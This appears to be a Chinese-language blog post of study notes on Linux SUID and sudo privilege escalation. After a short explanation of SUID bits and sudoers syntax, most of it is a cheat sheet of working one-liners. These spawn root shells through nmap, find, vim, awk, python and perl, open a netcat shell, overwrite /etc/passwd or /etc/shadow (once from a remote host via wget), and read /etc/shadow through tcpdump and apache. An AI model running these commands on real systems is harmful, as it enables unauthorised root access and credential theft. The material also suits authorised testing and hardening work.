0x00 前言
面试时发现关于 SUID 并不是很清楚,所以学习记录下
0x01 关于 SUID
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。
如 passwd
的权限:
用户可以输入自己的密码或者不需要密码在root权限下执行命令,这可在设置文件 /etc/sudoers
中配置。
1.1 /etc/sudoers 语法
1 | root ALL=(ALL) ALL |
root 用户可以从 ALL(任何)终端执行,充当ALL(任何)用户,并运行ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo
可运行的命令。
1 | touhid ALL= /sbin/poweroff |
输入 touchid 的密码,可以 sudo 执行 poweroff 命令。
1 | touhid ALL = (root) NOPASSWD: /usr/bin/find |
不输入密码,可以 sudo 执行 find 命令
1.2 查找具有 SUID 权限位文件
以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
1 | find / -user root -perm -4000 -print 2>/dev/null |
也可以使用 sudo -l
命令列出当前用户可执行的命令
0x02 常用提权方式
2.1 nmap
nmap(2.02-5.21)存在交换模式,可利用提权
1 | nmap --interactive |
之后执行:
1 | nmap> !sh |
msf中的模块为:
1 | exploit/unix/local/setuid_nmap |
较新版可使用 --script
参数:
1 | echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse |
kali nmap 7.7 提权成功:
2.2 find
1 | touch test |
nc 反弹 shell:
1 | find test -exec netcat -lvp 5555 -e /bin/sh \; |
2.3 vi/vim
打开vim,按下ESC
1 | :set shell=/bin/sh |
或者
1 | sudo vim -c '!sh' |
2.4 bash
1 | bash -p |
2.5 less
1 | less /etc/passwd |
2.6 more
1 | more pelle/myfile |
2.7 cp
覆盖 /etc/shadow
或 /etc/passwd
1 | [zabbix@localhost ~]$ cat /etc/passwd >passwd |
2.8 mv
覆盖 /etc/shadow
或 /etc/passwd
2.9 nano
1 | nano /etc/passwd |
2.10 awk
1 | awk 'BEGIN {system("/bin/sh")}' |
2.11 man
1 | man passwd |
2.12 wget
1 | wget http://192.168.56.1:8080/passwd -O /etc/passwd |
2.13 apache
仅可查看文件,不能弹 shell:
1 | apache2 -f /etc/shadow |
2.14 tcpdump
1 | echo $'id\ncat /etc/shadow' > /tmp/.test |
2.15 python/perl/ruby/lua/php/etc
python
1 | python -c "import os;os.system('/bin/bash')" |
perl
1 | exec "/bin/bash"; |